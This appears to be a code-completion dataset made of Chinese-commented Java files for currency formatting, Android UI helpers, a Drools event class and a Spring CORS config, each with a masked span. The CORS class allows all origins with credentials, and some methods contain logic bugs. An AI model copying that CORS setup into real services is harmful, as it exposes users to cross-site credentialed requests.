/** * Copyright(c) Jade Techonologies Co., Ltd. */ package cn.eric.jdktools.data; import java.math.BigDecimal; /** * 格式化数字工具类 */ public class NumUtil { /** * 保留两位小数点 * @param value * @return */ public static double keepTwoPoint(double value) { BigDecimal b = new BigDecimal(value); double result = b.setScale(2,BigDecimal.ROUND_HALF_UP).doubleValue(); return result; } public static double keepFourPoint(double value) { BigDecimal b = new BigDecimal(value); double result = b.setScale(4,BigDecimal.ROUND_HALF_UP).doubleValue(); return result; } public static double keepSixPoint(double value) { BigDecimal b = new BigDecimal(value); double result = b.setScale(6,BigDecimal.ROUND_HALF_UP).doubleValue(); return result; } /** * 从命令行接收一个数,在其中调用 checkNum() 方法对其进行 * 验证,并返回相应的值 * @return 如果输入合法,返回输入的这个数 */ public static String getNum(String loanmoney) { // 判断用户输入是否合法 // 若合法,返回这个值;若非法返回 "0" if(checkNum(loanmoney)) { return loanmoney; } else { return ""; } } /** * 判断用户输入的数据是否合法,用户只能输入大于零的数字,不能输入其它字符 * @param s String * @return 如果用户输入数据合法,返回 true,否则返回 false */ private static boolean checkNum(String loanmoney) { // 如果用户输入的数里有非数字字符,则视为非法数据,返回 false try { float f = Float.valueOf(loanmoney); // 如果这个数小于零则视为非法数据,返回 false if(f < 0) { System.out.println("非法数据,请检查!"); return false; }else { return true; } } catch (NumberFormatException s) { System.out.println("非法数据,请检查!"); return false; } } /** * 把用户输入的数以小数点为界分割开来,并调用 numFormat() 方法 * 进行相应的中文金额大写形式的转换 * 注:传入的这个数应该是经过 roundString() 方法进行了四舍五入操作的 * @param s String * @return 转换好的中文金额大写形式的字符串 */ public static String splitNum(String loanmoney) { // 如果传入的是空串则继续返回空串 if("".equals(loanmoney)) { return ""; } // 以小数点为界分割这个字符串 int index = loanmoney.indexOf("."); // 截取并转换这个数的整数部分 String intOnly = loanmoney.substring(0, index); String part1 = numFormat(1, intOnly); // 截取并转换这个数的小数部分 String smallOnly = loanmoney.substring(index + 1); String part2 = numFormat(2, smallOnly); // 把转换好了的整数部分和小数部分重新拼凑一个新的字符串 String newS = part1 + part2; return newS; } /** * 对传入的数进行四舍五入操作 * @param loanmoney 从命令行输入的那个数 * @return 四舍五入后的新值 */ public static String roundString(String loanmoney) { // 如果传入的是空串则继续返回空串 if("".equals(loanmoney)) { return ""; } // 将这个数转换成 double 类型,并对其进行四舍五入操作 double d = Double.parseDouble(loanmoney); // 此操作作用在小数点后两位上 d = (d * 100 + 0.5) / 100; // 将 d 进行格式化 loanmoney = new java.text.DecimalFormat("##0.000").format(d); // 以小数点为界分割这个字符串 int index = loanmoney.indexOf("."); // 这个数的整数部分 String intOnly = loanmoney.substring(0, index); // 规定数值的最大长度只能到万亿单位,否则返回 "0" if(intOnly.length() > 13) { System.out.println("输入数据过大!(整数部分最多13位!)"); return ""; } // 这个数的小数部分 String smallOnly = loanmoney.substring(index + 1); // 如果小数部分大于两位,只截取小数点后两位 if(smallOnly.length() > 2) { String roundSmall = smallOnly.substring(0, 2); // 把整数部分和新截取的小数部分重新拼凑这个字符串 loanmoney = intOnly + "." + roundSmall; } return loanmoney; } /** * 把传入的数转换为中文金额大写形式 * @param flag int 标志位,1 表示转换整数部分,2 表示转换小数部分 * @param s String 要转换的字符串 * @return 转换好的带单位的中文金额大写形式 */ private static String numFormat(int flag, String loanmoney) { int sLength = loanmoney.length(); // 货币大写形式 String bigLetter[] = {"零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"}; // 货币单位 String unit[] = {"元", "拾", "佰", "仟", "万", // 拾万位到仟万位 "拾", "佰", "仟", // 亿位到万亿位 "亿", "拾", "佰", "仟", "万"}; String small[] = {"分", "角"}; // 用来存放转换后的新字符串 String newS = ""; // 逐位替换为中文大写形式 for(int i = 0; i < sLength; i ++) { if(flag == 1) { // 转换整数部分为中文大写形式(带单位) newS = newS + bigLetter[loanmoney.charAt(i) - 48] + unit[sLength - i - 1]; } else if(flag == 2) { // 转换小数部分(带单位) newS = newS + bigLetter[loanmoney.charAt(i) - 48] + small[sLength - i - 1]; } } return newS; } /** * 把已经转换好的中文金额大写形式加以改进,清理这个字 * 符串里面多余的零,让这个字符串变得更加可观 * 注:传入的这个数应该是经过 splitNum() 方法进行处理,这个字 * 符串应该已经是用中文金额大写形式表示的 * @param s String 已经转换好的字符串 * @return 改进后的字符串 */ public static String cleanZero(String loanmoney) { // 如果传入的是空串则继续返回空串 if("".equals(loanmoney)) { return ""; } // 如果用户开始输入了很多 0 去掉字符串前面多余的'零',使其看上去更符合习惯 while(loanmoney.charAt(0) == '零') { // 将字符串中的 "零" 和它对应的单位去掉 loanmoney = loanmoney.substring(2); // 如果用户当初输入的时候只输入了 0,则只返回一个 "零" if(loanmoney.length() == 0) { return "零"; } } // 字符串中存在多个'零'在一起的时候只读出一个'零',并省略多余的单位 /* 由于本人对算法的研究太菜了,只能用4个正则表达式去转换了,各位大虾别介意哈... */ String regex1[] = {"零仟", "零佰", "零拾"}; String regex2[] = {"零亿", "零万", "零元"}; String regex3[] = {"亿", "万", "元"}; String regex4[] = {"零角", "零分"}; // 第一轮转换把 "零仟", 零佰","零拾"等字符串替换成一个"零" for(int i = 0; i < 3; i ++) { loanmoney = loanmoney.replaceAll(regex1[i], "零"); } // 第二轮转换考虑 "零亿","零万","零元"等情况 // "亿 <SUF> for(int i = 0; i < 3; i ++) { // 当第一轮转换过后有可能有很多个零叠在一起 // 要把很多个重复的零变成一个零 loanmoney = loanmoney.replaceAll("零零零", "零"); loanmoney = loanmoney.replaceAll("零零", "零"); loanmoney = loanmoney.replaceAll(regex2[i], regex3[i]); } // 第三轮转换把"零角","零分"字符串省略 for(int i = 0; i < 2; i ++) { loanmoney = loanmoney.replaceAll(regex4[i], ""); } // 当"万"到"亿"之间全部是"零"的时候,忽略"亿万"单位,只保留一个"亿" loanmoney = loanmoney.replaceAll("亿万", "亿"); return loanmoney; } /** * 测试程序的可行性 * @param args */ public static void main(String[] args) { System.out.println("\n--------将数字转换成中文金额的大写形式------------\n"); NumUtil t2r = new NumUtil(); String money= getNum("bbb600ttt98726a"); System.out.println(money); String money1= splitNum("17800260026.26"); System.out.println(money1); String money2 = roundString("3027830056.34426"); System.out.println(money2); String money3 = numFormat(1, "37356653"); System.out.println(money3); String money4 = numFormat(2, "34"); System.out.println(money4); String money5 = cleanZero("零零零零零零壹佰柒拾捌万贰仟陆佰贰拾陆元贰角陆分"); System.out.println(money5); } }
0
25178_6
package com.example.guohouxiao.musicalbum.utils; /** * Created by guohouxiao on 2017/9/5. * 表的属性 */ public class Config { public static final String USER_TABLE = "_User";//用户表 public static final String AVATAR = "avatar";//用户头像 public static final String NICKNAME = "nickname";//用户昵称 public static final String DESC = "desc";//简介 public static final String BOOKMARKALBUM = "bookmarkalbum";//收藏的相册 public static final String LIKEALBUM = "likealbum";//喜欢的相册 public static final String MUSICALBUM_TABLE = "MusicAlbum";//音乐相册表 public static final String USERID = "userId";//作者的ID public static final String ALBUMNAME = "albumname";//相册名称 public static final String COVER = "cover";//封面 public static final String PLACE = "place";//地点 public static final String WHERECREATED = "whereCreated";//经纬度 public static final String PLAYMODE = "playmode";//模板 public static final String MUSIC = "music";//音乐 public static final String PHOTOS = "photos";//图片 public static final String SUBTITLES = "subtitles";//字幕 public static final String ISPUBLIC = "ispublic";//是否公开 public static final String LIKENUMBER = "likenumber";//获得的喜欢数 }
ErisRolo/MusicAlbum
app/src/main/java/com/example/guohouxiao/musicalbum/utils/Config.java
358
//音乐相册表
line_comment
zh-cn
package com.example.guohouxiao.musicalbum.utils; /** * Created by guohouxiao on 2017/9/5. * 表的属性 */ public class Config { public static final String USER_TABLE = "_User";//用户表 public static final String AVATAR = "avatar";//用户头像 public static final String NICKNAME = "nickname";//用户昵称 public static final String DESC = "desc";//简介 public static final String BOOKMARKALBUM = "bookmarkalbum";//收藏的相册 public static final String LIKEALBUM = "likealbum";//喜欢的相册 public static final String MUSICALBUM_TABLE = "MusicAlbum";//音乐 <SUF> public static final String USERID = "userId";//作者的ID public static final String ALBUMNAME = "albumname";//相册名称 public static final String COVER = "cover";//封面 public static final String PLACE = "place";//地点 public static final String WHERECREATED = "whereCreated";//经纬度 public static final String PLAYMODE = "playmode";//模板 public static final String MUSIC = "music";//音乐 public static final String PHOTOS = "photos";//图片 public static final String SUBTITLES = "subtitles";//字幕 public static final String ISPUBLIC = "ispublic";//是否公开 public static final String LIKENUMBER = "likenumber";//获得的喜欢数 }
0
52426_1
package net.siehe.wiki.config; import org.springframework.context.annotation.Configuration; import org.springframework.web.cors.CorsConfiguration; import org.springframework.web.servlet.config.annotation.CorsRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; /** * 配置类解决跨域问题 * 跨域可以这样理解,来自一个IP端口的页面(vue项目),要求访问另一个IP端口的资源(springboot请求接口), * 会产生跨域访问问题 * 修改了配置类或者pom.xml建议重启应用,不要热部署 */ @Configuration public class CorsConfig implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/**") .allowedOriginPatterns("*") .allowedHeaders(CorsConfiguration.ALL) .allowedMethods(CorsConfiguration.ALL) .allowCredentials(true) .maxAge(3600);//1小时内不再进行预检,在调用电子书接口之前,会先发一个OPTOBS请求 } }
ErkundenSie/wiki
src/main/java/net/siehe/wiki/config/CorsConfig.java
257
//1小时内不再进行预检,在调用电子书接口之前,会先发一个OPTOBS请求
line_comment
zh-cn
package net.siehe.wiki.config; import org.springframework.context.annotation.Configuration; import org.springframework.web.cors.CorsConfiguration; import org.springframework.web.servlet.config.annotation.CorsRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; /** * 配置类解决跨域问题 * 跨域可以这样理解,来自一个IP端口的页面(vue项目),要求访问另一个IP端口的资源(springboot请求接口), * 会产生跨域访问问题 * 修改了配置类或者pom.xml建议重启应用,不要热部署 */ @Configuration public class CorsConfig implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/**") .allowedOriginPatterns("*") .allowedHeaders(CorsConfiguration.ALL) .allowedMethods(CorsConfiguration.ALL) .allowCredentials(true) .maxAge(3600);//1小 <SUF> } }
1
56609_4
package com.fifth.bean; public class FoodsBean { private int food_id;//食物id private String food_name;//食物名称 private String food_img;//食物图片描述 private int food_number;//食物库存 private double food_price;//食物价格 private int shoppingCart_id;//购物车id private int menu_id;//菜单id private int food_sale;//食物销售量 private int food_delivery_type;//配送类型 0 免费,1 收费 private double food_charge;//配送费 public int getFood_sale() { return food_sale; } public void setFood_sale(int food_sale) { this.food_sale = food_sale; } public int getFood_id() { return food_id; } public void setFood_id(int food_id) { this.food_id = food_id; } public String getFood_name() { return food_name; } public void setFood_name(String food_name) { this.food_name = food_name; } public String getFood_img() { return food_img; } public void setFood_img(String food_img) { this.food_img = food_img; } public int getFood_number() { return food_number; } public void setFood_number(int food_number) { this.food_number = food_number; } public double getFood_price() { return food_price; } public void setFood_price(double food_price) { this.food_price = food_price; } public int getShoppingCart_id() { return shoppingCart_id; } public void setShoppingCart_id(int shoppingCart_id) { this.shoppingCart_id = shoppingCart_id; } public int getMenu_id() { return menu_id; } public void setMenu_id(int menu_id) { this.menu_id = menu_id; } public int getFood_delivery_type() { return food_delivery_type; } public void setFood_delivery_type(int food_delivery_type) { this.food_delivery_type = food_delivery_type; } public double getFood_charge() { return food_charge; } public void setFood_charge(double food_charge) { this.food_charge = food_charge; } }
Ermite/BookFoods
bookFoods/src/com/fifth/bean/FoodsBean.java
666
//食物价格
line_comment
zh-cn
package com.fifth.bean; public class FoodsBean { private int food_id;//食物id private String food_name;//食物名称 private String food_img;//食物图片描述 private int food_number;//食物库存 private double food_price;//食物 <SUF> private int shoppingCart_id;//购物车id private int menu_id;//菜单id private int food_sale;//食物销售量 private int food_delivery_type;//配送类型 0 免费,1 收费 private double food_charge;//配送费 public int getFood_sale() { return food_sale; } public void setFood_sale(int food_sale) { this.food_sale = food_sale; } public int getFood_id() { return food_id; } public void setFood_id(int food_id) { this.food_id = food_id; } public String getFood_name() { return food_name; } public void setFood_name(String food_name) { this.food_name = food_name; } public String getFood_img() { return food_img; } public void setFood_img(String food_img) { this.food_img = food_img; } public int getFood_number() { return food_number; } public void setFood_number(int food_number) { this.food_number = food_number; } public double getFood_price() { return food_price; } public void setFood_price(double food_price) { this.food_price = food_price; } public int getShoppingCart_id() { return shoppingCart_id; } public void setShoppingCart_id(int shoppingCart_id) { this.shoppingCart_id = shoppingCart_id; } public int getMenu_id() { return menu_id; } public void setMenu_id(int menu_id) { this.menu_id = menu_id; } public int getFood_delivery_type() { return food_delivery_type; } public void setFood_delivery_type(int food_delivery_type) { this.food_delivery_type = food_delivery_type; } public double getFood_charge() { return food_charge; } public void setFood_charge(double food_charge) { this.food_charge = food_charge; } }
1
45050_10
package cn.com.fusio.event.merge; import cn.com.fusio.event.BaseEvent; import cn.com.fusio.event.entity.ArticleInfo; import cn.com.fusio.event.entity.FormInfo; import cn.com.fusio.event.entity.UserInfo; import cn.com.fusio.event.raw.PinganBehaviorData; import org.drools.core.util.StringUtils; /** * @Description: 丰富 PinganBehaviorData 类 * @Author : Ernest * @Date : 2017/8/20 20:07 */ public class PinganEduPVEnrich extends BaseEvent { /** * 用户行为记录 */ private PinganBehaviorData behaviorData ; /** * 用户信息 */ private UserInfo userInfo ; /** * 文章信息,当 bd:contentType=article 时,有值 */ private ArticleInfo articleInfo ; /** * 表单信息,当 bd:contentType=form 时,有值 */ private FormInfo formInfo ; public PinganEduPVEnrich() {} public PinganEduPVEnrich(PinganBehaviorData behaviorData, UserInfo userInfo, ArticleInfo articleInfo) { this.behaviorData = behaviorData; this.userInfo = userInfo; this.articleInfo = articleInfo; // 指定 DRL 中的 @timestamp this.eventTime = behaviorData.getCollector_tstamp() ; } /** * 判断行为数据是否包含某些标签:PinganEduPVEnrich * @param tags * @return */ public boolean containTags(String... tags){ boolean isValid = false ; // 1.2.过滤标签条件 // 59effffd48b743bbbf9ff148341b32ee:事业;63dd1d21acfd4452bf72130123cf2f3c:职位 String cntTags = "" ; String cntType = behaviorData.getContentType(); if("article".equals(cntType)){ cntTags = articleInfo.getCatg_name() ; }else if("form".equals(cntType)){ // cntTags = formInfo.getForm_tags() ; cntTags = "心理" ; //暂时 表单 标签都作为 心理。 } // 判断是否包含标签, 并集 if(!StringUtils.isEmpty(cntTags)){ for(int i = 0 ; i<tags.length ;i++){ if(cntTags.equals(tags[i])) isValid = true ; } } return isValid ; } /** * 判断用户是否属于某个省份:或 * @param city * @return */ public Boolean isBelongToProvince(String... city){ boolean yesOrNo = false ; String province = null ; if(userInfo != null ){ province = this.userInfo.getAll_province(); } if(province !=null && "".equals(province)){ for(int i = 0 ; i < city.length ;i++){ if(province.equals(city[i])){ yesOrNo = true ; break; } } } return yesOrNo ; } /** * 年龄大于 age * @param age * @return */ public Boolean isAgeGtNum(Integer age){ boolean yesOrNo = false ; Integer userAge = null ; if(userInfo != null ){ userAge = userInfo.getAge(); } if( userAge != null ){ if(userInfo.getAge() > age){ yesOrNo = true ; } } return yesOrNo ; } /** * 年龄小于 age * @param age * @return */ public Boolean isAgeLtNum(Integer age){ boolean yesOrNo = false ; if(userInfo.getAge() != null ){ if(userInfo.getAge() < age){ yesOrNo = true ; } } return yesOrNo ; } public PinganEduPVEnrich(PinganBehaviorData behaviorData, UserInfo userInfo, FormInfo formInfo) { this.behaviorData = behaviorData; this.userInfo = userInfo; this.formInfo = formInfo; // 指定 DRL 中的 @timestamp this.eventTime = behaviorData.getCollector_tstamp() ; } public PinganBehaviorData getBehaviorData() { return behaviorData; } public void setBehaviorData(PinganBehaviorData behaviorData) { this.behaviorData = behaviorData; } public UserInfo getUserInfo() { return userInfo; } public void setUserInfo(UserInfo userInfo) { this.userInfo = userInfo; } public ArticleInfo getArticleInfo() { return articleInfo; } public void setArticleInfo(ArticleInfo articleInfo) { this.articleInfo = articleInfo; } public FormInfo getFormInfo() { return formInfo; } public void setFormInfo(FormInfo formInfo) { this.formInfo = formInfo; } @Override public String toString() { return "PinganEduPVEnrich{" + "behaviorData=" + behaviorData + ", userInfo=" + userInfo + ", articleInfo=" + articleInfo + ", formInfo=" + formInfo + '}'; } }
ErnestMing/Drools-CEP-EventFlow
src/main/java/cn/com/fusio/event/merge/PinganEduPVEnrich.java
1,237
//暂时 表单 标签都作为 心理。
line_comment
zh-cn
package cn.com.fusio.event.merge; import cn.com.fusio.event.BaseEvent; import cn.com.fusio.event.entity.ArticleInfo; import cn.com.fusio.event.entity.FormInfo; import cn.com.fusio.event.entity.UserInfo; import cn.com.fusio.event.raw.PinganBehaviorData; import org.drools.core.util.StringUtils; /** * @Description: 丰富 PinganBehaviorData 类 * @Author : Ernest * @Date : 2017/8/20 20:07 */ public class PinganEduPVEnrich extends BaseEvent { /** * 用户行为记录 */ private PinganBehaviorData behaviorData ; /** * 用户信息 */ private UserInfo userInfo ; /** * 文章信息,当 bd:contentType=article 时,有值 */ private ArticleInfo articleInfo ; /** * 表单信息,当 bd:contentType=form 时,有值 */ private FormInfo formInfo ; public PinganEduPVEnrich() {} public PinganEduPVEnrich(PinganBehaviorData behaviorData, UserInfo userInfo, ArticleInfo articleInfo) { this.behaviorData = behaviorData; this.userInfo = userInfo; this.articleInfo = articleInfo; // 指定 DRL 中的 @timestamp this.eventTime = behaviorData.getCollector_tstamp() ; } /** * 判断行为数据是否包含某些标签:PinganEduPVEnrich * @param tags * @return */ public boolean containTags(String... tags){ boolean isValid = false ; // 1.2.过滤标签条件 // 59effffd48b743bbbf9ff148341b32ee:事业;63dd1d21acfd4452bf72130123cf2f3c:职位 String cntTags = "" ; String cntType = behaviorData.getContentType(); if("article".equals(cntType)){ cntTags = articleInfo.getCatg_name() ; }else if("form".equals(cntType)){ // cntTags = formInfo.getForm_tags() ; cntTags = "心理" ; //暂时 <SUF> } // 判断是否包含标签, 并集 if(!StringUtils.isEmpty(cntTags)){ for(int i = 0 ; i<tags.length ;i++){ if(cntTags.equals(tags[i])) isValid = true ; } } return isValid ; } /** * 判断用户是否属于某个省份:或 * @param city * @return */ public Boolean isBelongToProvince(String... city){ boolean yesOrNo = false ; String province = null ; if(userInfo != null ){ province = this.userInfo.getAll_province(); } if(province !=null && "".equals(province)){ for(int i = 0 ; i < city.length ;i++){ if(province.equals(city[i])){ yesOrNo = true ; break; } } } return yesOrNo ; } /** * 年龄大于 age * @param age * @return */ public Boolean isAgeGtNum(Integer age){ boolean yesOrNo = false ; Integer userAge = null ; if(userInfo != null ){ userAge = userInfo.getAge(); } if( userAge != null ){ if(userInfo.getAge() > age){ yesOrNo = true ; } } return yesOrNo ; } /** * 年龄小于 age * @param age * @return */ public Boolean isAgeLtNum(Integer age){ boolean yesOrNo = false ; if(userInfo.getAge() != null ){ if(userInfo.getAge() < age){ yesOrNo = true ; } } return yesOrNo ; } public PinganEduPVEnrich(PinganBehaviorData behaviorData, UserInfo userInfo, FormInfo formInfo) { this.behaviorData = behaviorData; this.userInfo = userInfo; this.formInfo = formInfo; // 指定 DRL 中的 @timestamp this.eventTime = behaviorData.getCollector_tstamp() ; } public PinganBehaviorData getBehaviorData() { return behaviorData; } public void setBehaviorData(PinganBehaviorData behaviorData) { this.behaviorData = behaviorData; } public UserInfo getUserInfo() { return userInfo; } public void setUserInfo(UserInfo userInfo) { this.userInfo = userInfo; } public ArticleInfo getArticleInfo() { return articleInfo; } public void setArticleInfo(ArticleInfo articleInfo) { this.articleInfo = articleInfo; } public FormInfo getFormInfo() { return formInfo; } public void setFormInfo(FormInfo formInfo) { this.formInfo = formInfo; } @Override public String toString() { return "PinganEduPVEnrich{" + "behaviorData=" + behaviorData + ", userInfo=" + userInfo + ", articleInfo=" + articleInfo + ", formInfo=" + formInfo + '}'; } }
0
32949_5
package com.eshel.takeout.permission; import android.app.Activity; import android.content.pm.PackageManager; import android.support.v4.app.ActivityCompat; import android.support.v4.content.ContextCompat; import com.eshel.takeout.utils.UIUtils; /** * 项目名称: GooglePlay * 创建人: Eshel * 创建时间:2017/7/12 19时02分 * 描述: TODO */ public class RequestPermissionUtil { /** * @param permission Manifest.permission.*** * @return */ public static boolean requestPermission(Activity activity,String permission,int requestCode){ //检查权限: 检查用户是不是已经授权 int checkSelfPermission = ContextCompat.checkSelfPermission(UIUtils.getContext(), permission); //拒绝 : 检查到用户之前拒绝授权 if(checkSelfPermission == PackageManager.PERMISSION_DENIED){ //申请权限 ActivityCompat.requestPermissions(activity,new String[]{permission},requestCode); }else if(checkSelfPermission == PackageManager.PERMISSION_GRANTED){ //已经授权 return true; }else { ActivityCompat.requestPermissions(activity,new String[]{permission},requestCode); } return false; } }
EshelGuo/PermissionsUtil
permission/RequestPermissionUtil.java
322
//已经授权
line_comment
zh-cn
package com.eshel.takeout.permission; import android.app.Activity; import android.content.pm.PackageManager; import android.support.v4.app.ActivityCompat; import android.support.v4.content.ContextCompat; import com.eshel.takeout.utils.UIUtils; /** * 项目名称: GooglePlay * 创建人: Eshel * 创建时间:2017/7/12 19时02分 * 描述: TODO */ public class RequestPermissionUtil { /** * @param permission Manifest.permission.*** * @return */ public static boolean requestPermission(Activity activity,String permission,int requestCode){ //检查权限: 检查用户是不是已经授权 int checkSelfPermission = ContextCompat.checkSelfPermission(UIUtils.getContext(), permission); //拒绝 : 检查到用户之前拒绝授权 if(checkSelfPermission == PackageManager.PERMISSION_DENIED){ //申请权限 ActivityCompat.requestPermissions(activity,new String[]{permission},requestCode); }else if(checkSelfPermission == PackageManager.PERMISSION_GRANTED){ //已经 <SUF> return true; }else { ActivityCompat.requestPermissions(activity,new String[]{permission},requestCode); } return false; } }
0
48910_19
package com.lzx.lock.utils; import android.annotation.TargetApi; import android.app.Activity; import android.content.Context; import android.graphics.Color; import android.os.Build; import android.support.annotation.ColorInt; import android.support.annotation.FloatRange; import android.support.v4.view.ViewCompat; import android.support.v4.widget.DrawerLayout; import android.util.Log; import android.view.View; import android.view.ViewGroup; import android.view.Window; import android.view.WindowManager; import android.widget.FrameLayout; import com.lzx.lock.R; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.regex.Pattern; /** * 状态栏工具类 * 状态栏两种模式(Android 4.4以上) * 1.沉浸式全屏模式 * 2.状态栏着色模式 */ public class SystemBarHelper { private static float DEFAULT_ALPHA = Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP ? 0.2f : 0.3f; /** * Android4.4以上的状态栏着色 * * @param activity Activity对象 * @param statusBarColor 状态栏颜色 */ public static void tintStatusBar(Activity activity, @ColorInt int statusBarColor) { tintStatusBar(activity, statusBarColor, DEFAULT_ALPHA); } /** * Android4.4以上的状态栏着色 * * @param activity Activity对象 * @param statusBarColor 状态栏颜色 * @param alpha 透明栏透明度[0.0-1.0] */ public static void tintStatusBar(Activity activity, @ColorInt int statusBarColor, @FloatRange(from = 0.0, to = 1.0) float alpha) { tintStatusBar(activity.getWindow(), statusBarColor, alpha); } /** * Android4.4以上的状态栏着色 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment * @param statusBarColor 状态栏颜色 */ public static void tintStatusBar(Window window, @ColorInt int statusBarColor) { tintStatusBar(window, statusBarColor, DEFAULT_ALPHA); } /** * Android4.4以上的状态栏着色 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment * @param statusBarColor 状态栏颜色 * @param alpha 透明栏透明度[0.0-1.0] */ public static void tintStatusBar(Window window, @ColorInt int statusBarColor, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) { return; } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); } else { window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); } ViewGroup decorView = (ViewGroup) window.getDecorView(); ViewGroup contentView = (ViewGroup) window.getDecorView() .findViewById(Window.ID_ANDROID_CONTENT); View rootView = contentView.getChildAt(0); if (rootView != null) { ViewCompat.setFitsSystemWindows(rootView, true); } setStatusBar(decorView, statusBarColor, true); setTranslucentView(decorView, alpha); } /** * Android4.4以上的状态栏着色(针对于DrawerLayout) * 注: * 1.如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性,尤其是DrawerLayout的fitsSystemWindows属性 * 2.可以版本判断在5.0以上不调用该方法,使用系统自带 * * @param activity Activity对象 * @param drawerLayout DrawerLayout对象 * @param statusBarColor 状态栏颜色 */ public static void tintStatusBarForDrawer(Activity activity, DrawerLayout drawerLayout, @ColorInt int statusBarColor) { tintStatusBarForDrawer(activity, drawerLayout, statusBarColor, DEFAULT_ALPHA); } /** * Android4.4以上的状态栏着色(针对于DrawerLayout) * 注: * 1.如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性,尤其是DrawerLayout的fitsSystemWindows属性 * 2.可以版本判断在5.0以上不调用该方法,使用系统自带 * * @param activity Activity对象 * @param drawerLayout DrawerLayout对象 * @param statusBarColor 状态栏颜色 * @param alpha 透明栏透明度[0.0-1.0] */ public static void tintStatusBarForDrawer(Activity activity, DrawerLayout drawerLayout, @ColorInt int statusBarColor, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) { return; } Window window = activity.getWindow(); ViewGroup decorView = (ViewGroup) window.getDecorView(); ViewGroup drawContent = (ViewGroup) drawerLayout.getChildAt(0); if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); drawerLayout.setStatusBarBackgroundColor(statusBarColor); int systemUiVisibility = window.getDecorView().getSystemUiVisibility(); systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_STABLE; window.getDecorView().setSystemUiVisibility(systemUiVisibility); } else { window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); } setStatusBar(decorView, statusBarColor, true, true); setTranslucentView(decorView, alpha); drawerLayout.setFitsSystemWindows(false); drawContent.setFitsSystemWindows(true); ViewGroup drawer = (ViewGroup) drawerLayout.getChildAt(1); drawer.setFitsSystemWindows(false); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param activity Activity对象 */ public static void immersiveStatusBar(Activity activity) { immersiveStatusBar(activity, DEFAULT_ALPHA); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param activity Activity对象 * @param alpha 透明栏透明度[0.0-1.0] */ public static void immersiveStatusBar(Activity activity, @FloatRange(from = 0.0, to = 1.0) float alpha) { immersiveStatusBar(activity.getWindow(), alpha); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment */ public static void immersiveStatusBar(Window window) { immersiveStatusBar(window, DEFAULT_ALPHA); } /** * Android4.4以上的沉浸式全屏模式 * 注: * 1.删除fitsSystemWindows属性:Android5.0以上使用该方法如果出现界面展示不正确,删除布局中所有fitsSystemWindows属性 * 或者调用forceFitsSystemWindows方法 * 2.不删除fitsSystemWindows属性:也可以区别处理,Android5.0以上使用自己的方式实现,不调用该方法 * * @param window 一般都是用于Activity的window,也可以是其他的例如Dialog,DialogFragment * @param alpha 透明栏透明度[0.0-1.0] */ public static void immersiveStatusBar(Window window, @FloatRange(from = 0.0, to = 1.0) float alpha) { if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) { return; } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { window.clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); window.addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS); window.setStatusBarColor(Color.TRANSPARENT); int systemUiVisibility = window.getDecorView().getSystemUiVisibility(); systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN; systemUiVisibility |= View.SYSTEM_UI_FLAG_LAYOUT_STABLE; window.getDecorView().setSystemUiVisibility(systemUiVisibility); } else { window.addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); } ViewGroup decorView = (ViewGroup) window.getDecorView(); ViewGroup contentView = (ViewGroup) window.getDecorView() .findViewById(Window.ID_ANDROID_CONTENT); View rootView = contentView.getChildAt(0); int statusBarHeight = getStatusBarHeight(window.getContext()); if (rootView != null) { FrameLayout.LayoutParams lp = (FrameLayout.LayoutParams) rootView.getLayoutParams(); ViewCompat.setFitsSystemWindows(rootView, true); lp.topMargin = 